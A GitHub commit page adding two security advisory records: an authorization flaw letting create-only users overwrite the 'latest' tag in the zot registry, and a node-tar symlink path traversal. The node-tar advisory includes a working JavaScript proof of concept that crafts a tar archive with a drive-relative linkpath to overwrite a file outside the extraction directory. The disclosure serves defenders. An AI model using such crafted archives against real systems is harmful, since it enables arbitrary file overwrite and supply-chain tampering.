Skip to content

Commit e570221

Browse files
1 parent 98efe09 commit e570221

2 files changed

Lines changed: 152 additions & 0 deletions

File tree

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-85jx-fm8m-x8c6",
4+
"modified": "2026-03-10T23:44:25Z",
5+
"published": "2026-03-10T23:44:25Z",
6+
"aliases": [
7+
"CVE-2026-31801"
8+
],
9+
"summary": "zot’s create-only policy allows overwrite attempts of existing latest tag (update permission not required)",
10+
"details": "zot’s dist-spec authorization middleware infers the required action for `PUT /v2/{name}/manifests/{reference}` as `create` by default, and only switches to `update` when the tag already exists and `reference != \"latest\"`.\n\nas a result, when `latest` already exists, a user who is allowed to `create` (but not allowed to `update`) can still pass the authorization check for an overwrite attempt of `latest`.\n\n## affected component\n\n- file: `pkg/api/authz.go` (`DistSpecAuthzHandler`)\n- condition: `slices.Contains(tags, reference) && reference != \"latest\"` (line 352 at the pinned commit)\n\n## severity\n\nHIGH\ncategory: CWE-863 (incorrect authorization)\n\nnote: impact depends on how a deployment uses `latest` (for example, if `latest` is treated as a protected or “push-once” tag), and on how access control is provisioned (users with `create` but without `update`). the attached poc demonstrates a real overwrite of `latest` (tag digest changes) under a create-only policy.\n\n## steps to reproduce\n\n1. configure access control so user `attacker` has `create` but not `update` on a repository.\n2. ensure the repository has an existing tag named `latest`.\n3. attempt to push a new manifest to `/v2/acme/app/manifests/latest` (example repository name).\n4. observe that the authorization check is evaluated as `create` (not `update`) for `latest`, so the request passes authorization even though the tag already exists.\n\nthe attached poc demonstrates this deterministically with `canonical.log` and `control.log` markers.\n\n## expected vs actual\n\n- expected: overwriting an existing tag should require `update` permission, including `latest` (or `latest` should be explicitly documented as exempt).\n- actual: when `reference==\"latest\"` and the tag exists, the middleware keeps the action as `create` instead of switching to `update`.\n\n## security impact\n\nthis can break least-privilege expectations in deployments that rely on the `create` vs `update` split to prevent tag overwrites (for example, “push-once” policies). if `latest` is used as a high-trust tag in ci/cd, this can create supply-chain risk because a create-only principal can overwrite an existing `latest` tag while other existing tags correctly require `update`.\n\n## suggested fix\n\nremove the special-case exemption for `latest` when determining whether an existing tag requires `update` permission (treat `latest` the same as other tags), or document and enforce an explicit policy rule for `latest`.\n\n## notes / rationale\n\n- oci distribution spec does not define a standard authorization model; this report is about zot’s own create vs update semantics and the observable behavior in `DistSpecAuthzHandler`.\n- zot documentation describes immutable tags as being enforceable via authorization policies (create-only “push once”, update disallowed). if `latest` is exempt, this control does not apply to `latest` unless documented otherwise.\n\n[addendum.md](https://github.com/user-attachments/files/24986139/addendum.md)\n[poc.zip](https://github.com/user-attachments/files/24986140/poc.zip)\n[PR_DESCRIPTION.md](https://github.com/user-attachments/files/24986141/PR_DESCRIPTION.md)\n[RUNNABLE_POC.md](https://github.com/user-attachments/files/24986142/RUNNABLE_POC.md)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "zotregistry.dev/zot/v2"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.1.15"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "zotregistry.dev/zot"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "1.3.0-20210831063041-c8779d9e87d9"
48+
},
49+
{
50+
"last_affected": "1.4.4-20251014054906-73eef25681af"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/project-zot/zot/security/advisories/GHSA-85jx-fm8m-x8c6"
61+
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31801"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/project-zot/zot"
69+
},
70+
{
71+
"type": "WEB",
72+
"url": "https://github.com/project-zot/zot/releases/tag/v2.1.15"
73+
}
74+
],
75+
"database_specific": {
76+
"cwe_ids": [
77+
"CWE-863"
78+
],
79+
"severity": "HIGH",
80+
"github_reviewed": true,
81+
"github_reviewed_at": "2026-03-10T23:44:25Z",
82+
"nvd_published_at": "2026-03-10T21:16:49Z"
83+
}
84+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9ppj-qmqm-q256",
4+
"modified": "2026-03-10T23:44:58Z",
5+
"published": "2026-03-10T23:44:58Z",
6+
"aliases": [
7+
"CVE-2026-31802"
8+
],
9+
"summary": "node-tar Symlink Path Traversal via Drive-Relative Linkpath",
10+
"details": "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n path: 'a/b/l',\n type: 'SymbolicLink',\n linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt\n.rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "tar"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "7.5.11"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 7.5.10"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/isaacs/node-tar"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-22"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-10T23:44:58Z",
66+
"nvd_published_at": "2026-03-10T07:44:58Z"
67+
}
68+
}

0 commit comments

Comments
 (0)